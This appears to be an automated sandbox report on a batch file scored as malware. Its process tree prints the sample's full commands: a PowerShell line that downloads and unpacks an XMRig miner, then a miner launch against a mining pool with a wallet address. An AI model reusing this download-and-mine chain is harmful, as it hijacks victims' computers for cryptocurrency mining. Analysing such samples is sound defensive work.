Analysis

  • max time kernel
    1795s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy.bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4308
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4420

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 86e9f86dbdb2622ee502b8d26c33c72e1d44dacd6d2400c6973cb8a9b7539f20
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_dk2ctdjb.kbk.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dk2ctdjb.kbk.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        xmrig-6.21.0-gcc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip
        • Size 3.2MB
        • SHA256 4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        • Size 7.9MB
        • SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
        • MD5 SHA1 SHA512 SSDEEP

        memory/3020-4-0x00000216C1D20000-0x00000216C1D42000-memory.dmp

        memory/3020-5-0x00007FFDDCEE0000-0x00007FFDDD8CC000-memory.dmp

        memory/3020-7-0x00000216DA400000-0x00000216DA410000-memory.dmp

        memory/3020-9-0x00000216DA400000-0x00000216DA410000-memory.dmp

        memory/3020-10-0x00000216DA380000-0x00000216DA3F6000-memory.dmp

        memory/3020-25-0x00000216DA400000-0x00000216DA410000-memory.dmp

        memory/3020-26-0x00007FFDDCEE0000-0x00007FFDDD8CC000-memory.dmp

        memory/3020-27-0x00000216DA400000-0x00000216DA410000-memory.dmp

        memory/3020-28-0x00000216DA400000-0x00000216DA410000-memory.dmp

        memory/3020-29-0x00000216DA400000-0x00000216DA410000-memory.dmp

        memory/3020-34-0x00007FFDDCEE0000-0x00007FFDDD8CC000-memory.dmp

        memory/4308-40-0x00007FFDDCEE0000-0x00007FFDDD8CC000-memory.dmp

        memory/4308-41-0x00000163F6660000-0x00000163F6670000-memory.dmp

        memory/4308-42-0x00000163F6660000-0x00000163F6670000-memory.dmp

        memory/4308-66-0x00000163F6660000-0x00000163F6670000-memory.dmp

        memory/4308-80-0x00000163F69D0000-0x00000163F69E2000-memory.dmp

        memory/4308-93-0x00000163F6830000-0x00000163F683A000-memory.dmp

        memory/4308-117-0x00007FFDDCEE0000-0x00007FFDDD8CC000-memory.dmp

        memory/4420-143-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-155-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-122-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-123-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-124-0x0000016A67D60000-0x0000016A67D80000-memory.dmp

        memory/4420-125-0x0000016A67F90000-0x0000016A67FB0000-memory.dmp

        memory/4420-126-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-127-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-128-0x0000016A67D60000-0x0000016A67D80000-memory.dmp

        memory/4420-129-0x0000016A67F90000-0x0000016A67FB0000-memory.dmp

        memory/4420-130-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-131-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-132-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-133-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-134-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-135-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-136-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-137-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-138-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-139-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-140-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-141-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-142-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-120-0x00000169D5520000-0x00000169D5540000-memory.dmp

        memory/4420-144-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-145-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-146-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-147-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-148-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-149-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-150-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-151-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-152-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-153-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-154-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-121-0x0000016A678F0000-0x0000016A67930000-memory.dmp

        memory/4420-156-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-157-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-158-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-159-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-160-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-161-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-162-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-163-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-164-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-165-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-166-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-167-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-168-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-169-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-170-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-171-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-172-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-173-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-174-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-175-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-176-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-177-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-178-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-179-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-180-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-181-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-182-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-183-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-184-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-185-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-186-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-187-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp

        memory/4420-188-0x00007FF7681B0000-0x00007FF768CB3000-memory.dmp